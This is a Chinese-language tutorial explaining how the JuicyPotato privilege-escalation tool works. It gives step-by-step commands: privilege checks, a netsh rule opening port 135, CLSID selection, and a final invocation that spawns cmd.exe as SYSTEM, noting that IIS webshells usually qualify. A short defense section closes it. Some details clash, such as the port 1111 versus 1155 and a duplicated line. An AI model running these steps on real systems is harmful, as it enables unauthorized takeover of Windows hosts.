烂土豆提权Juicypotato原理和利用
0x00 Potato(烂土豆)提权的原理:
所谓的烂土豆提权就是俗称的MS16-075,可以将Windows工作站上的权限提升到 NT AUTHORITY \ SYSTEM – Windows计算机上可用的最高特权级别。
一、简单的原理:
攻击者可以诱骗用户尝试使用NTLM对他的计算机进行身份验证,则他可以将该身份验证尝试中继到另一台计算机!
Microsoft通过使用已经进行的质询来禁止同协议NTLM身份验证来对此进行修补。这意味着从一个主机回到自身的SMB-> SMB NTLM中继将不再起作用。但是,跨协议攻击(例如HTTP-> SMB)仍然可以正常使用!
二、理解流程:
1、控制HTTP流量大概都流经我们控制的HTTP服务器,做中介人攻击。
2、可以诱导系统高权用户执行一些操作,例如将它们重定向到需要NTLM身份验证的地方。所有NTLM凭据都将中继到本地SMB侦听器,以创建运行用户定义的命令的新系统服务,例如是Windows Update服务的请求时,就会是一个高权令牌,劫持掉这个令牌
3、最后模仿这个高权令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌
0x01 使用方法
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user
1、查看当前用户权限,是否符合要求
whoami /all
whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用 -t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用 -t u
如果均开启,可以选择-t * 如果均未开启,那么无法提权
2、查看RPC默认端口是否为1352、查看RPC默认端口是否为135
如果被修改(例如为111),juicypotato的参数可以使用 -n 111
如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:
- 找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k
- 例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录
- 添加防火墙规则允许135端口入站的命令如下:
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
3、根据操作系统选择可用的CLSID
参考列表:https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
例如测试系统win7 ,选择CLSID为 {555F3418-D99E-4E51-800A-6E89CFD8B1D7}
4、选择一个系统未占用的端口作为监听端口
最终语句:
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1155 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
表示开启SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}
0x02 限制条件
经过以上的分析,Juicy Potato的限制条件如下:
- 需要支持SeImpersonate或者SeAssignPrimaryToken权限
- 开启DCOM
- 本地支持RPC或者远程服务器支持PRC并能成功登录
- 能够找到可用的COM对象
一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限,这些都可以whoami /priv 试一下看看有没有模仿权限。
0x03 防御方法
- 阻止攻击者获得SeImpersonate或者SeAssignPrimaryToken权限
- 即使打好系统补丁
- 升级到最新的windows系统